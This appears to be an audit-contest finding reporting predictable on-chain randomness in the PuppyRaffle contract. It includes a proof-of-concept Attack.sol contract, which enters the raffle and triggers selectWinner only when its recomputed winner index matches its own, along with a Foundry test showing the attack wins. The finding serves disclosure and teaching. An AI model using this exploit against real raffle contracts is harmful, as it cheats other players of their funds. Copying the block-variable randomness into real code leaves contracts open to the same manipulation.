Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Use of Predictable Blockchain Variables for Randomness Leads to Potential Manipulation of Raffle Outcomes

Summary

The PuppyRaffle contract uses predictable and manipulable values such as block.timestamp and block.difficulty to generate random values for determining the winnerIndex and rarity. Attackers can take advantage of this predictability to increase their chances of winning.

Vulnerability Details

In the PuppyRaffle contract, the method to generate random values uses a combination of msg.sender, block.timestamp, and block.difficulty. These variables are either predictable (like block.timestamp) or can be influenced to some extent by miners (like block.difficulty).

Here is the part of the function causing the issue:

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Impact

Attackers can manipulate or predict the outcome, leading to unfair advantages in the raffle draw. This defeats the purpose of a fair lottery system and can erode trust in the contract's mechanism.

POC

An attacker can deploy the Attack contract, which predicts the winnerIndex using the same logic as the PuppyRaffle contract. If the predicted winnerIndex matches the attacker's index, they can proceed to call the selectWinner function, giving them an undue advantage in the raffle.
Attack.sol

contract Attack {
PuppyRaffle public puppyRaffle;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function winnerIndexAttack() public {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee()}(players);
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % 5; //players.length=5
console.log("winnerIndex: %s", winnerIndex);
if (winnerIndex == puppyRaffle.getActivePlayerIndex(address(this))){
puppyRaffle.selectWinner();
}
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns(bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
fallback() external payable{}
}

PuppyraffleTest.t.sol

function testCanGuessWinnerIndex() public playersEntered {
vm.warp(block.timestamp + duration + 1230); //manipulate the block.timestamp
vm.roll(block.number + 1);
deal(address(attack), 3 ether);
attack.winnerIndexAttack();
assertEq(puppyRaffle.previousWinner(), address(attack));
}

Tools Used

Foundry

Recommendations

To generate a truly random value in a blockchain context, consider using an external oracle or a commit-reveal mechanism. Avoid relying on block.timestamp and block.difficulty for randomness, as they are susceptible to manipulation. Implementing a more secure randomness mechanism will ensure a fair and trustworthy raffle system.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!